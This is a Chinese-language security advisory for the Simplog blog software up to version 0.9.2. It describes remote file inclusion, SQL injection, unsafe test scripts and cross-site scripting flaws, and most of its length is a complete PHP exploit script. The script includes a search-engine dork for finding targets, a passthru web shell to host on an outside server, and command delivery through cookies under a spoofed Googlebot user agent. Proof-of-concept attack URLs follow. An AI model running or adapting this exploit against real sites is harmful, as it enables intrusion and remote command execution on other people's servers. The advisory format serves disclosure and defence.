发布日期：2006-04-12
更新日期：2006-04-12

受影响系统：

Simplog Simplog <=0.9.2

描述：

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BUGTRAQ  ID: 17491

Simplog是一款简单易用的Blog程序，用PHP编写，兼容很多数据库。

Simplog中存在多个安全漏洞，恶意用户可以利用这些漏洞收集系统信息、执行跨站脚本和SQL注入攻击、执行任意SQL代码或完全入侵系统。

1) 在包含文件前没有正确验证“doc/index.php”中的“s”参数，导致可以包含任意外部或本地资源的文件。

2) 在SQL查询中使用之前没有正确过滤对“index.php”中“blogid”参数以及“archive.php”中“blogid”、“m”和“y”参数的输入，导致可以通过注入任意SQL代码操控SQL查询。

3) 没有对“adodb/server.php”和“adodb/tests/tmssql.php”脚本执行安全的测试，导致可以执行任意SQL代码或调用任意PHP函数。

4) 在返回用户之前没有正确的过滤对“login.php”中“btag”参数的输入，导致可以在用户浏览器会话中以受影响站点的权限执行任意HTML和脚本代码。

<*来源：rgod （rgod@autistici.org）
        Andreas Sandblad （sandblad@acc.umu.se）
  
  链接：http://secunia.com/advisories/19628/print/
        http://marc.theaimsgroup.com/?l=bugtraq&m=114485168800323&w=2
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/usr/bin/php -q -d short_open_tag=on
<?
echo "Simplog <= 0.9.2 \"s\" remote cmmnds xctn\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";
echo "dork: intext:\"Powered by simplog\"\r\n\r\n";

if ($argc<5) {
echo "Usage: php ".$argv[0]." host path location cmd OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to simplog\r\n";
echo "location:  an arbitrary location with the code to include\r\n";
echo "cmd:       a shell command\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /simplog/ http://somehost.com ls -la\r\n";
echo "php ".$argv[0]." localhost /simplog/ http://somehost.com/subdir ls -la -p81\r\n";
echo "php ".$argv[0]." localhost / http://somehost.com cat ./../config.php -P1.1.1.1:80\r\n\r\n";
echo "note, you need this code in http://somehost.com/suntzu.html:\r\n";
echo "<?php\r\n";
echo "if (get_magic_quotes_gpc()){\$_REQUEST[\"cmd\"]=stripslashes(\$_REQUEST[\"cmd\"]);}\r\n";
echo "ini_set(\"max_execution_time\",0);\r\n";
echo "echo \"*delim*\";\r\n";
echo "passthru(\$_REQUEST[\"cmd\"]);\r\n";
echo "echo \"*delim*\";\r\n";
echo "?>\r\n";
die;
}

/*
software site: http://www.simplog.org/

description: "Simplog provides an easy way for users to add blogging capabilities
to their existing websites. Simplog is written in PHP and compatible with multiple
databases. Simplog also features an RSS/Atom aggregator/reader.
Powerful, yet simple......."


i)  vulnerable code in doc/index.php at lines:
  ...
  <?php

    if(isset($_REQUEST['s'])) {
        include($_REQUEST['s'].".html");
    }

  ?>
  ...

  nice code, isn't it? :)
  poc:
  http://[target]/[path]/doc/index.php?cmd=ls%20-la&s=http://somehost.com/suntzu
  (but you can submit arguments even trough cookies or POST data...)

  or:
  http://[target]/[path]/doc/index.php?s=../../../../var/httpd/logs/error_log%00

  ii)
  http://[target]/[path]/index.php?blogid=[sql]
  http://[target]/[path]/archive.php?blogid=[sql]
  http://[target]/[path]/archive.php?m=[sql]
  http://[target]/[path]/archive.php?y=[sql]

  iii)
  http://[target]/[path]/adodb/server.php?sql=[sql]
  http://[target]/[path]/adodb/tests/tmssql.php?do=phpinfo

  iv) xss:
  http://[target]/[path]/login.php?btag=<script>alert(document.cookie)</script>

  this is the exploit for i), works with allow_url_fopen = On
                                                                              */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
    $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
    }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$loc=$argv[3];
if (($path[0]<>'/') | ($path[strlen($path)-1]<>'/'))
{die("Check the path, it must begin and end with a trailing slash\r\n");}
$port=80;
$proxy="";
$cmd="";
for ($i=4; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{
$cmd.=" ".$argv[$i];
}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if ($proxy<>'') {$p="http://".$host.":".$port.$path;} else {$p=$path;}

$packet ="GET ".$p."doc/index.php HTTP/1.0\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: s=".$loc."%2fsuntzu; cmd=".$cmd.";\r\n"; //through cookies, log this :)
$packet.="Connection: Close\r\n\r\n";
#debug
#echo quick_dump($packet);
sendpacketii($packet);
if (strstr($html,"*delim*"))
{$temp=explode("*delim*",$html);
echo "Exploit succeeded...\r\n\r\n";
echo $temp[1];
}
else
{
#debug
echo $html."\r\n";
echo "Exploit failed...";
}
?>

建议：

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厂商补丁：

Simplog
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.simplog.org/

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